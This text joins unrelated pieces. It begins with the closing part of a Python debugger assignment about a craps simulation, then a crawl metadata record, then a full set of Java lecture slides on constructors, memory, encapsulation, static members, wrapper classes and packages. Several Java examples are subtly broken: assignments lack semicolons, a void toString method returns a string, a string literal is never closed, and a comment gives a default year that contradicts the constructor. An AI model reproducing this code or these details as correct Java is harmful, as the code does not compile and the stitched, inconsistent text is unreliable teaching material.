and a general explanation of the methods (the debugger commands: where and with what conditions) that you used to answer these questions. For the solution you submit, just supply the answers (not the general explanation). To start the assignment, you will have to download and modify the *craps.py* script. - **Download the** *craps* **project zip file onto your desktop and then unzip it.** - **Open Eclipse and use the Python perspective to start the project.** - **Open an Editor view of the *craps.py* script in it. Change blank line 61 to read** ```python dice.standard_rolls_for_debugging() ``` By making this change to the script, the Dice will generate a standard sequence of rolls, so its results will be identical each time that you run the script. This is a very useful feature when the script you are debugging, or trying to gather information about, uses a random number generator. - **Run the script after these change. For the same number of games, you will always get the same statistics. Then switch to the Debug perspective. Ensure that the script runs correctly before setting any breakpoints.** - **Make no other changes to the script: this assignment does not require programming.** Single step through the script for a few games to better understand the execution of this script and its control structures. Specifically, watch how the information stored in the variable *roll* controls what statements the script executes; also observe where/how the script changes *game, win_count* and *lose_count*. Determine how to use debugger commands to help you answer the following questions. Each question requires its own/different debugging session, starting the program from the beginning. Make no changes to the script itself: 1. **What number game is the first to be lost on one roll of the dice (e.g., 2, 3, or 12)?** 2. **What are all the dice rolls in the seventh game (list them in the order thrown)?** 3. **What number game is the first to be won on a roll of 7? …on a roll of 11?** 4. **What number game is the first to be lost on a roll of 2? ..on a roll of 3? ..on a roll of 12?** 5. **What number game is the first to be won by making a point of 5? … a point of 10?** 6. **What are all the dice rolls in game 101?** 7. **In what game number does the 712th win occur?** (this script can run for a few minutes) Enter **2000** when prompted **Enter # of games to play:** all answers correspond to earlier games than this one. This bound is important because a script with breakpoints (especially conditional breakpoints) will run much **slowly** when compared to the same script without breakpoints (I estimate 10 times as slow with one breakpoint). So, once you set your breakpoints, it may take some time for the debugger to stop the script on the appropriate line (but still only a few seconds): if you set incorrect breakpoints, you do not want the script to execute for more than a minute before you find out.
{"Source-Url": "https://www.ics.uci.edu/~pattis/common/handouts/debugger/debugger.pdf", "len_cl100k_base": 9042, "olmocr-version": "0.1.53", "pdf-total-pages": 13, "total-fallback-pages": 0, "total-input-tokens": 34255, "total-output-tokens": 9780, "length": "2e13", "weborganizer": {"__label__adult": 0.0004036426544189453, "__label__art_design": 0.00051116943359375, "__label__crime_law": 0.00025081634521484375, "__label__education_jobs": 0.01000213623046875, "__label__entertainment": 0.00012993812561035156, "__label__fashion_beauty": 0.00015926361083984375, "__label__finance_business": 0.0001672506332397461, "__label__food_dining": 0.00039124488830566406, "__label__games": 0.0013017654418945312, "__label__hardware": 0.0007352828979492188, "__label__health": 0.00031685829162597656, "__label__history": 0.0002968311309814453, "__label__home_hobbies": 0.00014829635620117188, "__label__industrial": 0.0003578662872314453, "__label__literature": 0.00048422813415527344, "__label__politics": 0.0001634359359741211, "__label__religion": 0.0005879402160644531, "__label__science_tech": 0.00785064697265625, "__label__social_life": 0.00021839141845703125, "__label__software": 0.0201263427734375, "__label__software_dev": 0.95458984375, "__label__sports_fitness": 0.0002720355987548828, "__label__transportation": 0.00036835670471191406, "__label__travel": 0.0002636909484863281}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42300, 0.01433]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42300, 0.69026]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42300, 0.89324]], "google_gemma-3-12b-it_contains_pii": [[0, 4297, false], [4297, 5199, null], [5199, 5521, null], [5521, 10193, null], [10193, 14291, null], [14291, 18885, null], [18885, 22778, null], [22778, 26103, null], [26103, 30725, null], [30725, 32855, null], [32855, 36754, null], [36754, 38400, null], [38400, 42300, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4297, true], [4297, 5199, null], [5199, 5521, null], [5521, 10193, null], [10193, 14291, null], [14291, 18885, null], [18885, 22778, null], [22778, 26103, null], [26103, 30725, null], [30725, 32855, null], [32855, 36754, null], [36754, 38400, null], [38400, 42300, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42300, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42300, null]], "pdf_page_numbers": [[0, 4297, 1], [4297, 5199, 2], [5199, 5521, 3], [5521, 10193, 4], [10193, 14291, 5], [14291, 18885, 6], [18885, 22778, 7], [22778, 26103, 8], [26103, 30725, 9], [30725, 32855, 10], [32855, 36754, 11], [36754, 38400, 12], [38400, 42300, 13]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42300, 0.0]]}
olmocr_science_pdfs
2024-12-06
2024-12-06
c470f5727266989342653dadfe5962dadcaf7518
Object Oriented Programming Constructors, Statics, Wrappers & Packages Object Creation • Objects are created by using the operator `new` in statements such as ```java Date myDate = new Date(); ``` • The expression `new Date()` invokes a special kind of method known as a **constructor**. • Constructors are used to – create objects and – initialize the instance variables. Constructors • A constructor – has the same name as the class it constructs – has no return type (not even void) • If the class implementer does not define any constructors, the Java compiler automatically creates a constructor that has no parameters. • Constructors may be (and often are) overloaded. • It’s good programming practice to always implement a constructor with no parameters. public class Date { private String month; private int day; // 1 - 31 private int year; // 4 digits // no-argument constructor // implementer chooses the default month, day, year public Date( ) { month = "January"; day = 1; year = 2007; // or better yet, call setDate(1, 1, 2007); } // alternative constructor public Date( int month, int day, int year ) { this.month = monthString(month) this.day = day; this.year = year; } } (continued) // another alternative constructor // January 1 of the specified year public Date( int newYear ) { this.month = monthString( 1 ) this.day = 1; this.year = newYear; } // a constructor which makes a copy of an existing Date object // discussed in more detail later public Date( Date otherDate ) { month = otherDate.month; day = otherDate.day; year = otherDate.year; } // remaining Date methods such as setDate, accessors, mutators // equals, toString, and stringMonth } // end of Date class Using Date Constructors ```java public class DateDemo { public static void main( String[ ] args) { Date birthday = new Date( 1, 23, 1982 ); String s1 = birthday.toString( ); // January 23, 1982 System.out.println( s1 ); Date newYears = new Date( 2009 ); String s2 = newYears.toString( ); // January 1, 2009 System.out.println( s2 ); Date holiday = new Date( birthday ); String s3 = holiday.toString( ); // January 23, 1982 System.out.println( s3 ); Date defaultDate = new Date( ); String s4 = defaultDate.toString( ); // January 1, 1000 System.out.println( s4 ); } } ``` this( ) Constructor - When several alternative constructors are written for a class, we reuse code by calling one constructor from another. - The called constructor is named `this( )`. - The call to `this(…)` must be the very first statement in the constructor - You can execute other statements after the call to `this()` Better Date Constructors // no-argument constructor // implementer chooses the default month, day, year public Date() { this(1, 1, 2007); } // alternative constructor // January 1 of the specified year public Date(int newYear) { this(1, 1, newYear); } // most general alternative constructor called by other // constructors public Date(int month, int day, int year) { this.month = monthString(month) this.day = day; this.year = year; } What Happens in Memory: The Stack and Heap • When your program is running, local variables are stored in an area of memory called the stack. • A table can be used to illustrate variables stored on the stack: <table> <thead> <tr> <th>Var</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td>x</td> <td>42</td> </tr> <tr> <td>y</td> <td>3.7</td> </tr> </tbody> </table> • The rest of memory is known as the heap and is used for dynamically allocated “stuff.” Main Memory The stack grows and shrinks as needed (why?) The heap also grows and shrinks. (why?) Some of memory is unused ("free"). Object Creation Consider this code that creates two Dates: ```java Date d1, d2; d1 = new Date(1, 1, 2000); d2 = new Date(7, 4, 1776); ``` Where are these variables and objects located in memory? Why do we care? Objects in Memory The statement ```java Date d1, d2; ``` creates two local variables on the stack. The statements ```java d1 = new Date(1, 1, 2000); d2 = new Date(7, 4, 1776); ``` create objects on the heap. \(d_1\) and \(d_2\) contain the memory addresses of these objects giving us the picture of memory shown below. \(d_1\) and \(d_2\) are called **reference variables**. Reference variables which do not contain the memory address of any object contain the special value **null**. Given the previous code ```java Date d1, d2; d1 = new Date(1, 1, 2000); d2 = new Date(7, 4, 1776); ``` and corresponding picture of memory consider the expression `d1 == d2` Recall that `d1` and `d2` contain the addresses of their respective Date objects. Since the Date objects have different addresses on the heap, `d1 == d2` is `false`. The `==` operator determines if two reference variables refer to the same object. So how do we compare Dates for equality? Dates (and other objects) should implement a method named `equals`. To check if two Dates are the same, use the expression ```java d1.equals( d2 ) ``` On the other hand, consider this code and corresponding picture of memory ```java Date d1 = new Date(1, 1, 2000); Date d2 = d1; ``` Now `d1` and `d2` refer to the same `Date` object. This is known as **aliasing**, is often unintentional, and can be dangerous. Why? If your intent is for `d2` to be a copy of `d1`, then the correct code is ```java Date d2 = new Date( d1 ); ``` Why We Care (3 of 4) Consider this code and the changing picture of memory ```java Date d1 = new Date(1, 1, 2000); // line 1 d1 = new Date(12, 25, 2007); // line 2 ``` Before line 1: - Stack: d1 - Heap: January 1, 2000 After line 1: - Stack: d1 - Heap: January 1, 2000 Before line 2: - Stack: d1 - Heap: January 1, 2000 After line 2: - Stack: d1 - Heap: December 25, 2007 Why We Care (4 of 4) • Garbage collection As the diagram shows, after line 2 is executed no variable refers to the Date object which contains “January”, 1, 2000 In C/C++, we’d consider this a “memory leak”. In C/C++ it’s the programmer’s responsibility to return dynamically allocated memory back to the free heap. Not so in Java! Java has a built-in “garbage collector”. From time to time Java detects objects that have been “orphaned” because no reference variable refers to them. The garbage collector automatically returns the memory for those objects to the free heap. Variables Review: Primitives vs. References • Every variable is implemented as a location in computer memory. • When the variable is a *primitive type*, the value of the variable is stored in the memory location assigned to the variable. – Each primitive type always requires the same amount of memory to store its values. Variables Review: Primitives vs. References • When the variable is a **class type**, only the memory address (or **reference**) where its object is located is stored in the memory location assigned to the variable (on the stack). – The object named by the variable is stored in the heap. – Like primitives, the value of a class variable is a fixed size. – The object, whose address is stored in the variable, can be of any size. Arrays with a Class Base Type • The base type of an array can be a class type as well as a primitive type. • The statement ```java Date[] holidayList = new Date[20]; ``` creates 20 indexed reference variables of type `Date` – It does not create 20 objects of the class `Date`. – Each of these indexed variables are automatically initialized to `null`. – Any attempt to reference any of them at this point would result in a `null pointer exception` error message. Class Parameters • All parameters in Java are call-by-value parameters. – A parameter is a local variable that is set equal to the value of its argument. – Therefore, any change to the value of the parameter cannot change the value of its argument. • Class type parameters appear to behave differently from primitive type parameters. – They appear to behave in a way similar to parameters in languages that have the call-by-reference parameter passing mechanism. Class Parameters • The value plugged into a class type parameter is a reference (memory address). – Therefore, the parameter becomes another name for the argument. – Any change made to the object referenced by the parameter will be made to the object referenced by the corresponding argument. – Any change made to the class type parameter itself (i.e., its address) will not change its corresponding argument (the reference or memory address). public class DateParameterTest { public static void changeDay (int day) { day = 1; } public static void changeDate1( Date aDate ) { aDate = new Date( 1, 1, 2001); } public static void changeDate2( Date aDate ) { aDate.setDate( 1, 1, 2001 ); } public static void main( String[ ] args ) { Date birthday = new Date( 1, 23, 1982 ); changeDay( birthday.getDay( ) ); System.out.println(birthday.toString( )); // output? changeDate1( birthday ); System.out.println(birthday.toString( )); // output? changeDate2( birthday ); System.out.println(birthday.toString( )); // output? } } Use of = and == with Variables of a Class Type • The assignment operator (=) will produce two reference variables that name the same object. • The test for equality (==) also behaves differently for class type variables. – The == operator only checks that two class type variables have the same memory address. – Unlike the equals method, it does not check that their instance variables have the same values. – Two objects in two different locations whose instance variables have exactly the same values would still test as being "not equal." The Constant null - **null** is a special constant that may be assigned to a reference variable of any class type. ```java YourClass yourObject = null; ``` - Used to indicate that the variable has no "real value." - Used in constructors to initialize class type instance variables when there is no obvious object to use. - **null** is not an object. It is, a kind of "placeholder" for a reference that does not name any memory location. - Because it is like a memory address, use `==` or `!=` (instead of `equals`) to test if a reference variable contains null. ```java if (yourObject == null) . . . ``` Copyright © 2008 Pearson Addison-Wesley. All rights reserved Anonymous Objects • Recall, the `new` operator – invokes a constructor which initializes an object, and – returns a reference to the location in memory of the object created. • This reference can be assigned to a variable of the object's class type. • Sometimes the object created is used as an argument to a method, and never used again. – In this case, the object need not be assigned to a variable, i.e., given a name. • An object whose reference is not assigned to a variable is called an `anonymous object`. Anonymous Object Example • An object whose reference is not assigned to a variable is called an **anonymous object**. • An anonymous Date object is used here as a parameter: ``` Date birthday = new Date( 1, 23, 1982 ); if (birthday.equals( new Date ( 1, 7, 2000 ) ) System.out.println( “Equal!” ); ``` • The above is equivalent to: ``` Date birthday = new Date( 1, 23, 1982 ); Date temp = new Date( 1, 7, 2000 ); if (birthday.equals( temp ) System.out.println( “Equal!” ); ``` Encapsulation Encapsulation for Control • We said we will use the term *encapsulation* in two different ways in this class (and in the text) • *Definition #1: "Inclusion" (“bundling”):* • bundling of structure and function • *Covered in lecture on “Object Design”* • *Definition #2: “Exclusion” (“access control”)* • Strict, explicit control of how our objects can be used • *This will be focus of this lecture* Types of Programmers • Class creators – those developing new classes – want to build classes that expose the minimum interface necessary for the client program and hide everything else • Client programmers – those who use the classes (a term coined by Scott Meyer) – want to create applications by using a collection of interacting classes OOP Techniques • Class creators achieve their goal through **encapsulation**. Encapsulation: • Combines data and operations into a single entity (a class) • Provides proper access control • Focuses on implementation • Achieved through **information hiding** (abstraction) The Value of Encapsulation • Client programmers do not need to know how the class is implemented, *only how to use it*. • The information the client programmer needs to use the class is *kept to a minimum*. • Class implementation may be changed *with no impact* on those who use the class. Access Control • Encapsulation is implemented using *access control*. – Separates interface from implementation – Provides a boundary for the client programmer • Visible parts of the class (the *interface*) – can be used and/or changed by the client programmer. • Hidden parts of the class (the *implementation*) – Can be changed by the class creator without impacting any of the client programmer’s code – Can’t be corrupted by the client programmer Access Control in Java • **Visibility modifiers** provide access control to **instance variables** and **methods**. – *public* visibility - accessible by everyone, in particular the client programmer • A class’ interface is defined by its public methods. – *private* visibility - accessible only by the methods within the class – Two others—*protected* and [package]—later Date2 Class In this new date class, the instance variables have been labeled private. ```java public class Date2 { private String month; private int day; private int year; public void toString() { return month + " " + day + " " + year; } } ``` Any Date2 class method may use the class' private instance variables. // setDate and monthString same as Date1 class Access Control Example Date1 class - **public** instance variables were used Date2 class - **private** instance variables are now used ```java public class Date2Demo { public static void main( String[ ] args ) { Date2 myDate = new Date2( ); myDate.month = "July"; // compiler error myDate.day = 4; // compiler error myDate.year = 1950; // compiler error myDate.setDate( 7, 4, 1950 ); // OK – why? System.out.println( myDate.toString( )); } } ``` Good Programming Practice • Combine methods and data in a single class • Label all instance variables as private for information hiding – The class has complete control over how/when/if the instance variables are changed – Instance variables primarily support class behavior • Minimize the class’ public interface “Keep it secret, keep it safe.” Accessors & Mutator • Class behavior may allow access to, or modification of, individual private instance variables. • Accessor method – retrieves the value of a private instance variable – conventional to start the method name with \texttt{get} • Mutator method – changes the value of a private instance variable – conventional to start the name of the method with \texttt{set} • Gives the client program \underline{indirect} access to the instance variables. More Accessors and Mutators Question: Doesn’t the use of accessors and mutators defeat the purpose of making the instance variables private? Answer: No - The class implementer decides which instance variables will have accessors. - Mutators can: - validate the new value of the instance variable, and - decide whether or not to actually make the requested change. public class Date2 { private String month; private int day; // 1 - 31 private int year; // 4-digit year // accessors return the value of private data public int getDay() { return day; } // mutators can validate the new value public boolean setYear(int newYear) { if (1000 <= newYear && newYear <= 9999) { year = newYear; return true; } else // this is an invalid year return false; } // rest of class definition follows } Accessor/Mutator Caution • In general you should NOT provide accessors and mutators for all private instance variables. – Recall that the principle of encapsulation is best served with a limited class interface. • Too many accessors and mutators lead to writing procedural code rather than OOP code. More on this later. Classes as Structures • There are two possible exceptions to the “make everything private” rule: – When the class is actually just a simple data structure • No hard consistency rules • No behaviors • Local use – When performance is critical • However, this tradeoff is often not worthwhile Private Methods • Methods may be private. – Cannot be invoked by a client program – Can only be called by other methods within the same class definition – Most commonly used as “helper” methods to support top-down implementation of a public method public class Date2 { private String month; private int day; // 1 - 31 private int year; // 4-digit year // mutators should validate the new value public boolean setYear( int newYear ) { if ( yearIsValid( newYear ) ) { year = newYear; return true; } else // year is invalid return false; } // helper method - internal use only private boolean yearIsValid( int year ) { return 1000 <= year && year <= 9999; } } Static and Final The Problem of Words "When I use a word," Humpty Dumpty said in rather a scornful tone, "it means just what I choose it to mean – neither more nor less." "The question is," said Alice, "whether you can make words mean so many different things." "The question is," said Humpty Dumpty, "which is to be master - - that's all." Lewis Carroll, *Through the Looking Glass* • So, what do *static* (and *final*) mean in Java? - public static final float PI = 3.14159; - public static int timesCreated; - public static void main(String[] args) {...} • …and *why* do they mean *that*?! History of \textit{static} - In C, originally needed a way to let a variable keep its value unchanged across calls, i.e., keep it “static” - Extended scope to repurpose \textit{static} keyword for file-scope global variables - Java repurposed the word multiple times again, in an OOP context - Humpty Dumpty would have loved \textit{static} What Does “static” Mean in Java? • Instance variables, constants, and methods may all be labeled as static. • In this context, static means that there is one copy of the variable, constant, or method that belongs to the class as a whole, and not to a particular instance. • It is not necessary to instantiate an object to access a static variable, constant or method. Static Variables • A **static variable** belongs to the class as a whole, not just to one object. • There is only one copy of a static variable per class. • All objects of the class can read and change this static variable. • A static variable is declared with the addition of the modifier **static**. ```java static int myStaticVariable = 0; ``` Static Constants - A **static constant** is used to symbolically represent a constant value. - In Java, constants derive from regular variables, by “finalizing” them - The declaration for a static defined constant must include the modifier **final**, which indicates that its value cannot be changed. ```java public static final float PI = 3.142; ``` (The modifier **final** is also overloaded, and means other things in other contexts, as we shall see later.) - Static constants belong to the class as a whole, not to each object, so there is only one copy of a static constant - When referring to such a defined constant outside its class, use the name of its class in place of a calling object. ```java float radius = MyClass.PI * radius * radius; ``` Static Methods So far, • class methods required a calling object in order to be invoked. ```java Date birthday = new Date(1, 23, 1982); String s = birthday.toString(); ``` • These are sometimes known as non-static methods. **Static methods:** • still belong to a class, but need no calling object, and • often provide some sort of utility function. monthString Method Recall the Date class private helper method monthString. - Translates an integer month to a string - Note that the monthString method - Does not call any other methods of the Date class, and - Does not use any instance variables (month, day, year) from the Date class. - This method can be made available to users of the Date class without requiring them to create a Date object. ```java public static String monthString( int monthNumber ) { switch ( monthNumber ) { case 1: return "January"; case 2: return "February"; case 3: return "March"; case 4: return "April"; case 5: return "May"; case 6: return "June"; case 7: return "July"; case 8: return "August"; case 9: return "September"; case 10: return "October"; case 11: return "November"; case 12: return "December"; default: return "??? } } ``` It is now a public static method. monthString Demo • Code outside of the Date class can now use the monthString method without creating a Date object. • Prefix the method name with the name of the class instead of an object. ```java class MonthStringDemo { public static void main( String [] args ) { String month = Date.monthString( 6 ); System.out.println( month ); } } ``` Date is a class name, not an object name. monthString is the name of a static method. Rules for Static Methods • Static methods have no calling/host object (they have no \textit{this}). • Therefore, static methods cannot: – Refer to any instance variables of the class – Invoke any method that has an implicit or explicit \textit{this} for a calling object • Static methods \textbf{may} invoke other static methods or refer to static variables and constants. • A class definition may contain both static methods and non-static methods. # Static $F^\circ$ to $C^\circ$ Convert Example ```java public class FtoC { public static double convert( double degreesF ) { return 5.0 / 9.0 * (degreesF - 32 ); } } ``` ```java public class F2CDemo { public static void main( String[ ] args ) { double degreesF = 100; // Since convert is static, no object is needed // The class name is used when convert is called double degreesC = FtoC.convert( degreesF ); System.out.println( degreesC ); } } ``` main is a Static Method Note that the method header for main( ) is ``` public static void main(String [] args) ``` Being static has two effects: - main can be executed without an object. - “Helper” methods called by main must also be static. Any Class Can Have a main( ) • Every class can have a public static method name main( ). • Java will execute main in whichever class is specified on the command line. java <className> • A convenient way to write test code for your class. The Math Class - The **Math** class provides a number of standard mathematical methods. - Found in the `java.lang` package, so it does not require an `import` statement - All of its methods and data are static. - They are invoked with the class name `Math` instead of a calling object. - The **Math** class has two predefined constants, \( E \) (\( e \), the base of the natural logarithm system) and \( PI \) (\( \pi \), 3.1415 . . .). \[ \text{area} = \text{Math.PI} \times \text{radius} \times \text{radius}; \] Some Methods in the Class Math (Part 1 of 5) Display 5.6 Some Methods in the Class Math The Math class is in the java.lang package, so it requires no import statement. **public static double pow(double base, double exponent)** Returns base to the power exponent. **EXAMPLE** Math.pow(2.0, 3.0) returns 8.0. (continued) Some Methods in the Class **Math** (Part 2 of 5) **Display 5.6 Some Methods in the Class Math** ```java public static double abs(double argument) public static float abs(float argument) public static long abs(long argument) public static int abs(int argument) ``` Returns the absolute value of the argument. (The method name `abs` is overloaded to produce four similar methods.) **EXAMPLE** Math.abs(−6) and Math.abs(6) both return 6. Math.abs(−5.5) and Math.abs(5.5) both return 5.5. ```java public static double min(double n1, double n2) public static float min(float n1, float n2) public static long min(long n1, long n2) public static int min(int n1, int n2) ``` Returns the minimum of the arguments `n1` and `n2`. (The method name `min` is overloaded to produce four similar methods.) **EXAMPLE** Math.min(3, 2) returns 2. Some Methods in the Class `Math` (Part 3 of 5) ### Display 5.6 Some Methods in the Class Math <table> <thead> <tr> <th></th> <th>Method Description</th> </tr> </thead> <tbody> <tr> <td>public static double max(double n1, double n2)</td> <td>Returns the maximum of the arguments n1 and n2. (The method name max is overloaded to produce four similar methods.)</td> </tr> <tr> <td>public static float max(float n1, float n2)</td> <td></td> </tr> <tr> <td>public static long max(long n1, long n2)</td> <td></td> </tr> <tr> <td>public static int max(int n1, int n2)</td> <td></td> </tr> </tbody> </table> **EXAMPLE** Math.max(3, 2) returns 3. <table> <thead> <tr> <th></th> <th>Method Description</th> </tr> </thead> <tbody> <tr> <td>public static long round(double argument)</td> <td>Rounds its argument.</td> </tr> <tr> <td>public static int round(float argument)</td> <td></td> </tr> </tbody> </table> **EXAMPLE** Math.round(3.2) returns 3; Math.round(3.6) returns 4. (continued) Some Methods in the Class \texttt{Math} (Part 4 of 5) Display 5.6 Some Methods in the Class \texttt{Math} \begin{verbatim} public static double ceil(double argument) Returns the smallest whole number greater than or equal to the argument. \textbf{EXAMPLE} Math.ceil(3.2) and Math.ceil(3.9) both return 4.0. \end{verbatim} (continued) Some Methods in the Class `Math` (Part 5 of 5) <table> <thead> <tr> <th>Display 5.6</th> <th>Some Methods in the Class Math</th> </tr> </thead> <tbody> <tr> <td><strong>public static double floor(double argument)</strong></td> <td>Returns the largest whole number less than or equal to the argument.</td> </tr> <tr> <td><strong>EXAMPLE</strong></td> <td>Math.floor(3.2) and Math.floor(3.9) both return 3.0.</td> </tr> <tr> <td><strong>public static double sqrt(double argument)</strong></td> <td>Returns the square root of its argument.</td> </tr> <tr> <td><strong>EXAMPLE</strong></td> <td>Math.sqrt(4) returns 2.0.</td> </tr> </tbody> </table> Static Review • Given the skeleton class definition below ```java public class C { public int a = 0; public static int b = 1; public void f() { ...} public static void g() { ...} } ``` • Can body of f() refer to a? • Can body of f() refer to b? • Can body of g() refer to a? • Can body of g() refer to b? • Can f() call g()? • Can g() call f()? For each, explain why or why not. Wrapper Classes • **Wrapper classes** – Provide a class type corresponding to each of the primitive types – Makes it possible to have class types that behave somewhat like primitive types – The wrapper classes for the primitive types: `byte, short, int, long, float, double, and char` are (in order) `Byte, Short, Integer, Long, Float, Double,` and `Character` – Wrapper classes also contain useful • predefined constants • static methods Constants and Static Methods in Wrapper Classes • Wrapper classes include constants that provide the largest and smallest values for any of the primitive number types. - `Integer.MAX_VALUE`, `Integer.MIN_VALUE`, `Double.MAX_VALUE`, `Double.MIN_VALUE`, etc. • The `Boolean` class has names for two constants of type `Boolean`. - `Boolean.TRUE` corresponds to `true` - `Boolean.FALSE` corresponds to `false` of the primitive type `boolean`. Some static methods convert a correctly formed string representation of a number to the number of a given type. - The methods `Integer.parseInt()`, `Long.parseLong()`, `Float.parseFloat()`, and `Double.parseDouble()` do this for the primitive types (in order) `int`, `long`, `float`, and `double`. Static methods convert from a numeric value to a string representation of the value. - For example, the expression ```java Double.toString(123.99); ``` returns the string value "123.99" The `Character` class contains a number of static methods that are useful for string processing. Wrappers and Command Line Arguments • Command line arguments are passed to main via its parameter conventionally named `args`. ```java public static void main (String[ ] args) ``` • For example, if we execute our program as ```java java proj1.Project1 Bob 42 ``` then `args[0] = “Bob”` and `args[1] = “42”`. • We can use the static method `Integer.parseInt( )` to change the argument “42” to an integer variable via ```java int age = Integer.parseInt( args[ 1 ] ); ``` Methods in the Class `Character` (1 of 3) Display 5.8 **Some Methods in the Class Character** The class `Character` is in the `java.lang` package, so it requires no import statement. <table> <thead> <tr> <th>Method</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>public static char toUpperCase(char argument)</code></td> <td>Returns the uppercase version of its argument. If the argument is not a letter, it is returned unchanged.</td> </tr> <tr> <td><code>public static char toLowerCase(char argument)</code></td> <td>Returns the lowercase version of its argument. If the argument is not a letter, it is returned unchanged.</td> </tr> <tr> <td><code>public static boolean isUpperCase(char argument)</code></td> <td>Returns <code>true</code> if its argument is an uppercase letter; otherwise returns <code>false</code>.</td> </tr> </tbody> </table> **EXAMPLE** - `Character.toUpperCase('a')` and `Character.toUpperCase('A')` both return `'A'`. - `Character.toLowerCase('a')` and `Character.toLowerCase('A')` both return `'a'`. - `Character.isUpperCase('A')` returns `true`. `Character.isUpperCase('a')` and `Character.isUpperCase('%')` both return `false`. (continued) ## Methods in the Class Character (2 of 3) ### Display 5.8 Some Methods in the Class Character <table> <thead> <tr> <th>Method</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>public static boolean isLowerCase(char argument)</code></td> <td>Returns true if its argument is a lowercase letter; otherwise returns false.</td> </tr> <tr> <td><code>public static boolean isWhitespace(char argument)</code></td> <td>Returns true if its argument is a whitespace character; otherwise returns false.</td> </tr> </tbody> </table> **EXAMPLE** Character.isLowerCase('a') returns true. Character.isLowerCase('A') and Character.isLowerCase('%') both return false. Character.isWhitespace(' ') returns true. Character.isWhitespace('A') returns false. ### Methods in the Class **Character** (3 of 3) <table> <thead> <tr> <th>Method Name</th> <th>Signature</th> <th>Description</th> </tr> </thead> </table> | `public static boolean isLetter(char argument)` | | Returns true if its argument is a letter; otherwise returns false. **EXAMPLE** Character.isLetter('A') returns true. Character.isLetter('%') and Character.isLetter('5') both return false. | | `public static boolean isDigit(char argument)` | | Returns true if its argument is a digit; otherwise returns false. **EXAMPLE** Character.isDigit('5') returns true. Character.isDigit('A') and Character.isDigit('%') both return false. | | `public static boolean isLetterOrDigit(char argument)` | | Returns true if its argument is a letter or a digit; otherwise returns false. **EXAMPLE** Character.isLetterOrDigit('A') and Character.isLetterOrDigit('5') both return true. Character.isLetterOrDigit('&') returns false. | Boxing - **Boxing**: The process of converting from a value of a primitive type to an object of its wrapper class. - Create an object of the corresponding wrapper class using the primitive value as an argument - The new object will contain an instance variable that stores a copy of the primitive value. ```java Integer integerObject = new Integer(42); ``` - Unlike most other classes, a wrapper class does not have a no-argument constructor. - The value inside a Wrapper class is **immutable**. Unboxing • *Unboxing:* The process of converting from an object of a wrapper class to the corresponding value of a primitive type. – The methods for converting an object from the wrapper classes *Byte, Short, Integer, Long, Float, Double,* and *Character* to their corresponding primitive type are (in order) *byteValue, shortValue, intValue, longValue, floatValue, doubleValue,* and *charValue.* – None of these methods take an argument. ```java int i = integerObject.intValue(); ``` Automatic Boxing and Unboxing Starting with version 5.0, Java can automatically do boxing and unboxing for you. • Boxing: Integer integerObject = 42; rather than: Integer integerObject = new Integer(42); • Unboxing: int i = integerObject; rather than: int i = integerObject.intValue(); Packages • Java allows you to partition your classes into sets and subsets, called *packages*. • You place your class into a package with the directive: ```java package myPackage; ``` • If the “package” directive is missing, the class is placed into the *unnamed package* • A Java package is similar to a “namespace”: it implicitly prepends a prefix of your choice to all classes you define. Packages • You can refer to all objects via its fully-qualified name, e.g.: ```java myPackage.MyClass foo = new myPackage.MyClass(); ``` • Within a class definition, class references without explicit package name prefixes refer to other classes in your package – This is modified by importing other packages • In addition to its use for namespaces, packages affect the function of some visibility modifiers (later) Importing Packages • Import single class by using: ```java import java.util.Random; ``` • Or, import many classes, with wildcard: ```java import java.util.*; ``` – Cannot “import java.*.*;” – Importing is not recursive (e.g. java.* != java.util.*) – Importing singly is preferred (why?) • `java.lang.*` is already implicitly imported • However, all other `java.*`… must be explicitly imported Package Naming Conventions • Initially, beginners use the *unnamed package* • For simple, standalone applications, use simple one-token package names, e.g.: “proj1” (note lowercase) • For packages to be deployed outside the organization, use inverse-domain-address-like notation, e.g.: edu.brynmawr.cs.cmsgc206.utilityPackage Packages: Example package proj3; import java.util.Random; public class MyClass { // Stuff inside this class definition public static int someMethod() { Random rand = new Random(); ... } } // No “package” directive, so in unnamed package // No “import” directive, so all class names must be full public class MyOtherClass { // Stuff inside this class definition public static int someMethod() { proj3.MyClass myClassInst = new proj3.MyClass(); java.util.Random rand = new java.util.Random(); ... } }
